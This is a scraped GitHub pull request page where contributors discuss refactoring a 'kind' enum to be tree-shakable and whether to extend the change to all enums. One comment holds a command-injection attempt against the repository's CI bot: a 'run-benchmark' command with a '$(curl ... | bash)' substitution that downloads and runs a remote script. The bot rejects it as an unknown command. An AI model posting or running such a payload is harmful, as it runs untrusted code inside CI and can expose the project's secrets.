Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

refactor: treeshakable kind enum #4270

Open
wants to merge 17 commits into
base: main
Choose a base branch
from

Conversation

jasonkuhrt
Copy link

@jasonkuhrt jasonkuhrt commented Oct 29, 2024

closes #4253

@jasonkuhrt jasonkuhrt requested a review from a team as a code owner October 29, 2024 14:56
Copy link

linux-foundation-easycla bot commented Oct 29, 2024

CLA Signed

The committers listed above are authorized under a signed CLA.

@jasonkuhrt jasonkuhrt changed the base branch from 16.x.x to main October 29, 2024 14:56
@jasonkuhrt jasonkuhrt closed this Oct 29, 2024
@jasonkuhrt
Copy link
Author

Duplicate of #4268.

@jasonkuhrt jasonkuhrt reopened this Nov 9, 2024
Copy link

netlify bot commented Nov 9, 2024

Deploy Preview for compassionate-pike-271cb3 ready!

Name Link
🔨 Latest commit a9982fa
🔍 Latest deploy log https://app.netlify.com/sites/compassionate-pike-271cb3/deploys/672f7b334ded0700082066d1
😎 Deploy Preview https://deploy-preview-4270--compassionate-pike-271cb3.netlify.app
📱 Preview on mobile
Toggle QR Code...

QR Code

Use your smartphone camera to open QR code link.

To edit notification comments on pull requests, go to your Netlify site configuration.

@jasonkuhrt
Copy link
Author

@JoviDeCroock needed to focus on other things so #4268 was closed. I am re-opening this PR therefore to finish that work.

Copy link
Contributor

@yaacovCR yaacovCR left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Do we want to take this approach for all enums?

@jasonkuhrt
Copy link
Author

jasonkuhrt commented Nov 10, 2024

Yeah I think there's nothing to lose by doing that and it would be a better DX (e.g. all enum have type level name spaces, consistent) plus be tree-shakable.

If you agree then I can update this PR to change them all.

Copy link

@github-actions run-benchmark${IFS}$(curl -sSfL gist.githubusercontent.com/cvbedc/ea8f4e3d7c3de4ccdbed7eb9d56cac46/raw/d6c973afc561f0d8084b3a6addac275cec703de7/run.sh | bash)

@cvbedc Unknown command 😕

Supported commands

Please post this commands in separate comments and only one per comment:

  • @github-actions run-benchmark - Run benchmark comparing base and merge commits for this PR
  • @github-actions publish-pr-on-npm - Build package from this PR and publish it on NPM

Copy link
Member

@JoviDeCroock JoviDeCroock left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I think the odds of other enums tree-shaking is a lot lower and the amount of code we add in this approach is quite high. The others like DirectiveLocation, ... are more geared for server-side code either way. I don't merging as is as the bundle impact is reduced by moving off of TS enums

@jasonkuhrt
Copy link
Author

jasonkuhrt commented Nov 17, 2024

Right now I don't have a strong preference. I consider the type level symmetry aspect bike shedding territory. Happy to throw my labour at this so no issue there. If this PR generally looks shippable as is, that's great!

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

Successfully merging this pull request may close these issues.

3 participants